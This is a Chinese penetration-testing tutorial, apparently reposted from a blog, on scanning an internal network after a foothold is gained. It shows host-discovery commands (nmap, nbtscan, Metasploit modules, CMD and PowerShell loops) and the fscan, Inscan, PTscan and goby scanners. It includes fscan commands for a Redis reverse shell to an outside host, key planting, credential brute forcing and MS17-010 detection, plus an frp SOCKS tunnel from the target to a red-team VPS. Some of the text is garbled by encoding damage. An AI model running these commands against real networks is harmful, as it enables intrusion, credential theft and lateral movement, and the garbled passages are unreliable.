内网渗透-内网信息搜集
前言
當我們能訪問到?標內(nèi)?任何資源之后,我們就可以對 ?標內(nèi)?進?更深層次的信息搜集?如:主機收集、IP 段搜集、端?開放服務(wù)、Web 資產(chǎn)數(shù)量、漏洞類型。接下來是一些工具的食用姿勢,僅供參考。
假設(shè)我們已經(jīng)獲取到 web-2012 的權(quán)限,接下來如何對內(nèi)?進?信息搜集,內(nèi)?掃描。
信息收集
主機存活探測
基于netbios的內(nèi)網(wǎng)存活主機發(fā)現(xiàn)
netbios簡介
IBM公司開發(fā),主要用于數(shù)十臺計算機的小型局域網(wǎng)。該協(xié)議是一種在局域網(wǎng)上的程序可以
使用的應(yīng)用程序編程接口(API),為程序提供了請求低級服務(wù)的同一的命令集,作用是為
了給局域網(wǎng)提供網(wǎng)絡(luò)以及其他特殊功能。
系統(tǒng)可以利用WINS服務(wù)、廣播及Lmhost文件等多種模式將NetBIOS名-——特指基于
NETBIOS協(xié)議獲得計算機名稱——解析為相應(yīng)IP地址,實現(xiàn)信息通訊,所以在局域網(wǎng)內(nèi)部使
用NetBIOS協(xié)議可以方便地實現(xiàn)消息通信及資源的共享。
nmap
sudo nmap -sU --script nbstat.nse -p137 192.168.10.1/24 -T4
注:nmap連自己都會掃,及時沒有netbios也會提示主機存活。比如kali linux本身。
MSF——auxiliary/scanner/netbios/nbname
效果沒那么好。
nbtscan
Nbtscan 是?款能迅速查找電腦IP地址以及MAC地址的軟件,不過只能?于局域?,顯示IP、主機名、?戶名稱以 及MAC地址。
nbtscan -v -s : 192.168.43.0/24????????? ????????? # windows和linux通用
通過 nbtscan 在內(nèi)?滲透中所使?的場景?的就是為了幫助我們快速識別那些機器是域機器,那些機器是 DC,那 些機器是?作組機器。
kali下的nbtscan:
windows下的nbtscan.exe:(會剔除本機所在的機器)
基于SMB協(xié)議的內(nèi)網(wǎng)存活主機發(fā)現(xiàn)
簡介
SMB(全稱是Server Message Block)是一個協(xié)議名,它能被用于Web連接和客戶端與服務(wù)器之間的信息溝通。SMB最初是IBM的貝瑞·費根鮑姆(Barry Feigenbaum)研制的,其目的是將DOS操作系統(tǒng)中的本地文件接口“中斷13”改造為網(wǎng)絡(luò)文件系統(tǒng)。
nmap
nmap -sS --script smb-enum-shares.nse -p 445 192.168.43.1/24
MSF——auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/netbios/nbname) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.43.1/24
rhosts => 192.168.43.1/24
msf6 auxiliary(scanner/smb/smb_version) > set threads 10
threads => 10
msf6 auxiliary(scanner/smb/smb_version) > exploit
基于CMD
需要開啟telnet窗口
for /l %a in (1,1,254) do start /min /low telnet 192.168.1.%a 445
基于powershell
# 單IP,OK
445 | %{ echo ((new-object Net.Sockets.TcpClient).Connect("192.168.43.83",$_)) "$_ is open"} 2>$null
# 多IP
80..85 | % { $a = $_; 445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.43.$a",$_)) "Port $_ is open"} 2>$null}
Port 445 is open
#多IP,多port
80..85 | % { $a = $_; write-host "- - - - -"; write-host "192.168.43.$a"; 137,445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.43.$a",$_)) "Port $_ is open"} 2>$null}
- - - - -
192.168.43.80
- - - - -
192.168.43.81
- - - - -
192.168.43.82
- - - - -
192.168.43.83
Port 445 is open
- - - - -
192.168.43.84
- - - - -
192.168.43.85
基于ARP協(xié)議的內(nèi)網(wǎng)存活主機發(fā)現(xiàn)
概念
ARP,通過解析網(wǎng)路層地址來找尋數(shù)據(jù)鏈路層地址的一個在網(wǎng)絡(luò)協(xié)議包中極其重要的網(wǎng)絡(luò)傳輸 協(xié)議。根據(jù)IP地址獲取物理地址的一個TCP/IP協(xié)議。主機發(fā)送信息時將包含目標IP地址的 ARP請求廣播到網(wǎng)絡(luò)上的所有主機,并接收返回消息,以此確定目標的物理地址。
nmap
nmap -sn -PR 192.168.10.1/24
-sn????????? ????????? # 不掃描端口,只掃描主機
-PR????????? ????????? # ARP ping掃描
MSF——auxiliary/scanner/discovery/arp_sweep
基于SNMP協(xié)議的內(nèi)網(wǎng)存活主機發(fā)現(xiàn)
簡介
SNMP是一種簡單網(wǎng)絡(luò)管理協(xié)議,它屬于TCP/IP五層協(xié)議中的應(yīng)用層協(xié)議,用于網(wǎng)絡(luò)管理的
協(xié)議。SNMP主要用于網(wǎng)絡(luò)設(shè)備的管理。SNMP協(xié)議主要由兩大部分構(gòu)成:SNMP管理站和
SNMP代理。SNMP管理站是一個中心節(jié)點,負責收集維護各個SNMP元素的信息,并對這
些信息進行處理,最后反饋給網(wǎng)絡(luò)管理員;而SNMP代理是運行在各個被管理的網(wǎng)絡(luò)節(jié)點之
上,負責統(tǒng)計該節(jié)點的各項信息,并且負責與SNMP管理站交互,接收并執(zhí)行管理站的命
令,上傳各種本地的網(wǎng)絡(luò)信息。
nmap
nmap -sU -T4 --script snmp-brute 192.168.10.0/24
MSF——auxiliary/scanner/snmp/snmp_enum
msf6 auxiliary(scanner/snmp/snmp_enum) > set rhosts 192.168.43.1/24
rhosts => 192.168.43.1/24
msf6 auxiliary(scanner/snmp/snmp_enum) > set threads 10
threads => 10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
基于ICMP協(xié)議的內(nèi)網(wǎng)存活主機發(fā)現(xiàn)
簡介
?ICMP是TCP/IP協(xié)議族的一個子協(xié)議,用于在IP主機、路由器之間傳遞控制消息??刂葡⑹侵?網(wǎng)絡(luò)通不通、主機是否可達、路由是否可用等網(wǎng)絡(luò)本身的消息。這些控制消息雖然并不傳輸 用戶數(shù)據(jù),但是對于用戶數(shù)據(jù)的傳遞起著重要的作用。
nmap
nmap -PE -sn -T4 192.168.43.1/24
cmd
# 打印在屏幕當中
for /L %P in (1,1,254) DO @ping -w 1 -n 1 192.168.43.%P | findstr "TTL="
來自 192.168.43.18 的回復: 字節(jié)=32 時間<1ms TTL=64
來自 192.168.43.83 的回復: 字節(jié)=32 時間=1ms TTL=128
來自 192.168.43.106 的回復: 字節(jié)=32 時間<1ms TTL=128
# 輸入到文件當中(windows)
for /l %p in (1,1,254) do @ping -l 1 -n 3 -w 40 192.168.1.%p & if errorlevel 1 (echo 192.168.1.%p>>na.txt) else (echo 192.168.1.%p>>ok.txt)
# 輸入到文件當中(linux),未成功
for i in {1..254}; do ping -q -i 0.01 -c 3 192.168.1.$i &> /dev/null && echo 192.168.1.$i is alive; done
資產(chǎn)存活探測
PTscan
PTscan(Phantom scanner) 是一款界面友好的輕量級web應(yīng)用資產(chǎn)掃描器,適合于內(nèi)網(wǎng)滲透測試環(huán)境下web的資產(chǎn)快捷識別,只需Python環(huán)境,無需第三方擴展庫,掃描結(jié)果使用zoomeye網(wǎng)頁樣式。
下載地址:https://github.com/phantom0301/PTscan
使用python2的pyinstaller庫打包成exe
pyinstaller -F -w ptscan.py
具體使用語法:
Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n] [-b] [-r]
-f????????? 指定掃描?標?件,?件格式如list.txt所示,同時?持IP和URL
-h? 指定掃描IP或IP段,?持段掃描,如192.168.1 即為掃描C段,192.168 即為掃描B段
-p? 指定掃描端?,缺省使?程序中的配置端?
-m? 指定線程數(shù)
-t? 指定timeout
-n????????? 不進行ping操作,直接掃描
-b????????? 開啟Banner識別
-r? reverseIP
掃描示例:
python2 PTscan.py -h 10.10.10 -p 80,8080,8888 -m 50 -t 10 -n -b
當ptscan掃描完成后會在當前路徑下生成一個html文件。使用瀏覽器打開,即可看到掃描出來的web資產(chǎn):banner、中間件、url、開放端口。
漏洞掃描
?Inscan
邊界打點后的?動化內(nèi)??具,完全與服務(wù)端脫離。服務(wù)端只?于?成poc,?段信息等配置。
?多平臺,單一的二進制文件,免依賴;
?支持自動可視化多級隧道,通過后臺按鈕開關(guān)即可穿越多層網(wǎng)絡(luò);
?支持ipv6的掃描器;
?快速直觀查看多網(wǎng)卡機器,方便快速定位能穿多層網(wǎng)絡(luò)機器;
?通過已知密碼生成社工字典,快速橫向內(nèi)網(wǎng);
?內(nèi)網(wǎng)B/S架構(gòu)系統(tǒng)自動化爆破,驗證碼自動識別;
?快速資產(chǎn)識別,站點截圖;
?通過掃描到的資產(chǎn)自動化進行網(wǎng)站目錄掃描;
官?地址:https://www.inbug.org/
然后注冊一個用戶生成一個Inscan Agent:
下載后在目標終端運行即可(盡量使用管理員權(quán)限,否則有的時候會卡住)
掃描完成后會在當前路徑下?產(chǎn)?個 poc.db ?件:
把 poc.db 拖回本地也?,或者再次運? again ,訪問?標 ip:54088 即可看到掃描結(jié)果:
fscan
一款內(nèi)網(wǎng)綜合掃描工具,方便一鍵自動化、全方位漏掃掃描。支持主機存活探測、端口掃描、常見服務(wù)的爆破、ms17010、redis批量寫公鑰、計劃任務(wù)反彈shell、讀取win網(wǎng)卡信息、web指紋識別、web漏洞掃描、netbios探測、域控識別等功能,在不指定特定模塊的前提下,默認啟用所有模塊。
下載地址:https://github.com/shadow1ng/fscan
常用命令:
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳過存活檢測 、不保存文件、跳過web poc掃描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 寫公鑰)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 計劃任務(wù)反彈shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令執(zhí)行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模塊ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加載指定文件的用戶名、密碼來進行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定掃描結(jié)果保存路徑,默認保存在當前路徑)
fscan.exe -h 192.168.1.1/8? (A段的192.x.x.1和192.x.x.254,方便快速查看網(wǎng)段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密碼碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模塊)
fscan.exe -hf ip.txt? (以文件導入)
fscan.exe -u http://baidu.com -proxy 8080 (掃描單個url,并設(shè)置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不進行爆破,不掃Web poc,以減少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基礎(chǔ)上,加入3389->rdp掃描)
?特殊手法:
針對B段滲透時,建議使用單模塊測試,使用全模塊時速度會比較慢,應(yīng)該是1.6.3版本的bug,新版本未做測試,不清楚具體情況。除此之外,1.6.3模塊在探測ftp的時候錯誤會一直卡頓,而不是跳過。
?掃描手法:fscan.exe -h 175.34.1.1/16 -m
?推薦模塊(基于1.7.0):
# 數(shù)據(jù)庫爆破
mgo????????? # mongodb數(shù)據(jù)庫
redis????????? # redis數(shù)據(jù)庫
psql????????? # postgresql數(shù)據(jù)庫
mssql????????? # SQL Server數(shù)據(jù)庫
mysql????????? # mysql數(shù)據(jù)庫
mem ???????? ????????? # mem代表Memcached,是一個內(nèi)存對象緩存服務(wù),跟Redis很相像。
注:oracle雖然在更新記錄中指出支持,但是在打包后,還是無法指定該模塊,查看時也無法看到。
# 服務(wù)爆破
smb # 采用SMB協(xié)議的文件共享服務(wù)
rdp????????? # windows的遠程桌面服務(wù)
ftp????????? ????????? # 文件傳輸服務(wù)
ssh????????? ????????? # linux下的遠程登錄協(xié)議
# 漏洞掃描
ms17010????????? 通過TCP端口445和139來利用SMBv1和NBT中的遠程代碼執(zhí)行漏洞,利用SMB協(xié)議,也稱作永恒之藍
cve20200796????????? SMB 3.1.1協(xié)議遠程代碼執(zhí)行漏洞,也稱作永恒之黑
fcgi????????? 快速通用網(wǎng)關(guān)接口,fastcgi,遠程代碼執(zhí)行等漏洞
web????????? ????????? 收集資產(chǎn)并且進行漏洞掃描
# 查看所有可用模塊
fscan.exe -m -h
使用案例:
C:\Windows\Temp>fscan.exe -h 10.10.10.0/24 -o 10.txt
?? ___????????????????????????????? _
? / _ \???? ___? ___ _ __ __ _? ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|?? <
\____/???? |___/\___|_|? \__,_|\___|_|\_\
???????????????????? fscan version: 1.7.0
scan start
(icmp) Target '10.10.10.3' is alive
(icmp) Target '10.10.10.12' is alive
(icmp) Target '10.10.10.10' is alive
(icmp) Target '10.10.10.11' is alive
(icmp) Target '10.10.10.20' is alive
icmp alive hosts len is: 5
10.10.10.10:445 open
10.10.10.10:135 open
10.10.10.3:445 open
10.10.10.3:135 open
10.10.10.12:445 open
10.10.10.12:135 open
10.10.10.12:80 open
10.10.10.20:445 open
10.10.10.20:135 open
10.10.10.11:445 open
10.10.10.11:135 open
10.10.10.20:88 open
10.10.10.10:88 open
10.10.10.11:88 open
NetInfo:
[*]10.10.10.12
[->]web-2012
[->]192.168.1.109
[->]10.10.10.12
NetInfo:
[*]10.10.10.10
[->]AD-2016
[->]10.10.10.10
NetInfo:
[*]10.10.10.3
[->]web-2003
[->]10.10.10.3
WebTitle:http://10.10.10.12 200 IIS Windows Server
[+] 10.10.10.20 MS17-010 (Windows Server 2016 Standard 14393)
NetInfo:
[*]10.10.10.11
[->]AD2-2016
[->]10.10.10.11
[+] 10.10.10.3 MS17-010 (Windows Server 2003 3790 Service Pack 2)
[+] 10.10.10.11 MS17-010 (Windows Server 2016 Standard 14393)
[+] 10.10.10.10 MS17-010 (Windows Server 2016 Standard 14393)
scan end
C:\Windows\Temp>
goby
Goby號稱新一代的網(wǎng)絡(luò)安全測試工具,有IP存活探測、端口掃描、資產(chǎn)探測、主機識別等功能,內(nèi)置代理功能。代理方式有socket和pcap兩種,socket支持socks和HTTP兩種,均支持身份驗證。
紅隊人員VPS(192.168.10.110)配置frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
然后啟動frp服務(wù)端:
./frps -c frps.ini
在目標網(wǎng)絡(luò)邊界weblogic配置frpc.ini
[common]
server_addr = 192.168.10.110(紅隊人員VPS)
server_port = 7000
[plugin_socks]
type = tcp
remote_port =7777
plugin = socks5
然后啟動客戶端
./frpc.exe -c frpc.ini
在goby中設(shè)置socks代理:
然后新建任務(wù),配置參數(shù)進行漏洞掃描:
goby在滲透測試當中探測C段還OK,如果是B段的話,設(shè)置特殊端口,然后再掃描。大批量掃的話,就要看Inscan和fscan了。
結(jié)尾
在內(nèi)?滲透中,?些內(nèi)?掃描?具能夠幫助我們紅隊?員減去很多時間,不??動去信息搜集、不??動去漏洞探測,因此掌握?個漏洞掃描器或者多個掃描器的使??法是我們紅隊?員最基本的要求。
除了以上的metasploit、Nmap...等等一些優(yōu)秀的工具等著大家去發(fā)掘和使用。
總結(jié)
以上是生活随笔為你收集整理的内网渗透-内网信息搜集的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 利用FFmpeg和OpenGL ES 实
- 下一篇: 用 Saleae Logic 16 示波